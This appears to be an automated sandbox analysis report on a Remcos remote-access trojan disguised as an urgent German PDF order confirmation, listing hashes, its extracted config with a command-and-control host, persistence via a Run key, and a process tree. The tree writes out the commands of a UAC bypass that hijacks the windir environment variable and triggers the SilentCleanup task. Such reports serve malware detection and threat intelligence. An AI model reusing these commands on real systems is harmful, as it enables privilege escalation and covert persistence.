Analysis
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max time kernel
149s -
max time network
200s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
07-09-2021 09:52
Static task
static1
Behavioral task
behavioral1
Sample
Auftragsbestätigung _ Dringend,pdf.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
Auftragsbestätigung _ Dringend,pdf.exe
Resource
win10-en
General
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Target
Auftragsbestätigung _ Dringend,pdf.exe
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Size
774KB
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MD5
a054b5ea773679bfb29b1d191e8cd0be
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SHA1
725d5412e942b55ee03331077863bc64aca5599e
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SHA256
d7d94c81a09b9919714f7024a04a18e394198976107d3d9d35c56e69f2698ac8
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SHA512
9dd1097933106df34504dc3f9f9cc1636698b660d7fbaaf6afd85b63e81908a13247adf911f82078df975f943f31cbc1f86970e8283702db067c5d6547d399ff
Malware Config
Extracted
remcos
3.1.5 Pro
OK MAN
zion6.ddns.net:2815
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audio_folder
MicRecords
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audio_path
%AppData%
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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install_path
%AppData%
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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keylog_path
%AppData%
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mouse_option
false
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mutex
Remcos-MPN2RF
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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startup_value
Remcos
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take_screenshot_option
false
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take_screenshot_time
5
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take_screenshot_title
notepad;solitaire;
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
Auftragsbestätigung _ Dringend,pdf.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\Qavenjb = "C:\\Users\\Public\\Libraries\\bjnevaQ.url" Auftragsbestätigung _ Dringend,pdf.exe -
Modifies registry key 1 TTPs 3 IoCs
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Suspicious use of WriteProcessMemory 47 IoCs
Processes:
Auftragsbestätigung _ Dringend,pdf.execmd.execmd.execmd.exedescription pid process target process PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1032 2000 Auftragsbestätigung _ Dringend,pdf.exe ieinstal.exe PID 2000 wrote to memory of 1732 2000 Auftragsbestätigung _ Dringend,pdf.exe cmd.exe PID 2000 wrote to memory of 1732 2000 Auftragsbestätigung _ Dringend,pdf.exe cmd.exe PID 2000 wrote to memory of 1732 2000 Auftragsbestätigung _ Dringend,pdf.exe cmd.exe PID 2000 wrote to memory of 1732 2000 Auftragsbestätigung _ Dringend,pdf.exe cmd.exe PID 1732 wrote to memory of 1248 1732 cmd.exe cmd.exe PID 1732 wrote to memory of 1248 1732 cmd.exe cmd.exe PID 1732 wrote to memory of 1248 1732 cmd.exe cmd.exe PID 1732 wrote to memory of 1248 1732 cmd.exe cmd.exe PID 1248 wrote to memory of 1008 1248 cmd.exe reg.exe PID 1248 wrote to memory of 1008 1248 cmd.exe reg.exe PID 1248 wrote to memory of 1008 1248 cmd.exe reg.exe PID 1248 wrote to memory of 1008 1248 cmd.exe reg.exe PID 1248 wrote to memory of 1852 1248 cmd.exe reg.exe PID 1248 wrote to memory of 1852 1248 cmd.exe reg.exe PID 1248 wrote to memory of 1852 1248 cmd.exe reg.exe PID 1248 wrote to memory of 1852 1248 cmd.exe reg.exe PID 1248 wrote to memory of 484 1248 cmd.exe schtasks.exe PID 1248 wrote to memory of 484 1248 cmd.exe schtasks.exe PID 1248 wrote to memory of 484 1248 cmd.exe schtasks.exe PID 1248 wrote to memory of 484 1248 cmd.exe schtasks.exe PID 2000 wrote to memory of 1284 2000 Auftragsbestätigung _ Dringend,pdf.exe cmd.exe PID 2000 wrote to memory of 1284 2000 Auftragsbestätigung _ Dringend,pdf.exe cmd.exe PID 2000 wrote to memory of 1284 2000 Auftragsbestätigung _ Dringend,pdf.exe cmd.exe PID 2000 wrote to memory of 1284 2000 Auftragsbestätigung _ Dringend,pdf.exe cmd.exe PID 1284 wrote to memory of 696 1284 cmd.exe reg.exe PID 1284 wrote to memory of 696 1284 cmd.exe reg.exe PID 1284 wrote to memory of 696 1284 cmd.exe reg.exe PID 1284 wrote to memory of 696 1284 cmd.exe reg.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Auftragsbestätigung _ Dringend,pdf.exe"C:\Users\Admin\AppData\Local\Temp\Auftragsbestätigung _ Dringend,pdf.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"2⤵
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\Trast.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
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C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
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C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\nest.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f3⤵
- Modifies registry key
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Public\Trast.batMD5
4068c9f69fcd8a171c67f81d4a952a54
SHA14d2536a8c28cdcc17465e20d6693fb9e8e713b36
SHA25624222300c78180b50ed1f8361ba63cb27316ec994c1c9079708a51b4a1a9d810
SHA512a64f9319acc51fffd0491c74dcd9c9084c2783b82f95727e4bfe387a8528c6dcf68f11418e88f1e133d115daf907549c86dd7ad866b2a7938add5225fbb2811d
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C:\Users\Public\UKO.batMD5
eaf8d967454c3bbddbf2e05a421411f8
SHA16170880409b24de75c2dc3d56a506fbff7f6622c
SHA256f35f2658455a2e40f151549a7d6465a836c33fa9109e67623916f889849eac56
SHA512fe5be5c673e99f70c93019d01abb0a29dd2ecf25b2d895190ff551f020c28e7d8f99f65007f440f0f76c5bcac343b2a179a94d190c938ea3b9e1197890a412e9
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C:\Users\Public\nest.batMD5
8ada51400b7915de2124baaf75e3414c
SHA11a7b9db12184ab7fd7fce1c383f9670a00adb081
SHA25645aa3957c29865260a78f03eef18ae9aebdbf7bea751ecc88be4a799f2bb46c7
SHA5129afc138157a4565294ca49942579cdb6f5d8084e56f9354738de62b585f4c0fa3e7f2cbc9541827f2084e3ff36c46eed29b46f5dd2444062ffcd05c599992e68
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memory/484-77-0x0000000000000000-mapping.dmp
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memory/696-80-0x0000000000000000-mapping.dmp
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memory/1008-75-0x0000000000000000-mapping.dmp
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memory/1032-67-0x0000000000090000-0x0000000000091000-memory.dmpFilesize
4KB
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memory/1032-71-0x0000000000210000-0x0000000000289000-memory.dmpFilesize
484KB
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memory/1032-68-0x00000000000D0000-0x00000000000D1000-memory.dmpFilesize
4KB
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memory/1032-69-0x00000000001B0000-0x00000000001B1000-memory.dmpFilesize
4KB
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memory/1032-70-0x0000000010590000-0x000000001060C000-memory.dmpFilesize
496KB
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memory/1032-64-0x0000000000000000-mapping.dmp
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memory/1248-73-0x0000000000000000-mapping.dmp
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memory/1284-78-0x0000000000000000-mapping.dmp
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memory/1732-66-0x0000000000000000-mapping.dmp
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memory/1852-76-0x0000000000000000-mapping.dmp
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memory/2000-59-0x0000000000220000-0x0000000000221000-memory.dmpFilesize
4KB
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memory/2000-63-0x0000000075D11000-0x0000000075D13000-memory.dmpFilesize
8KB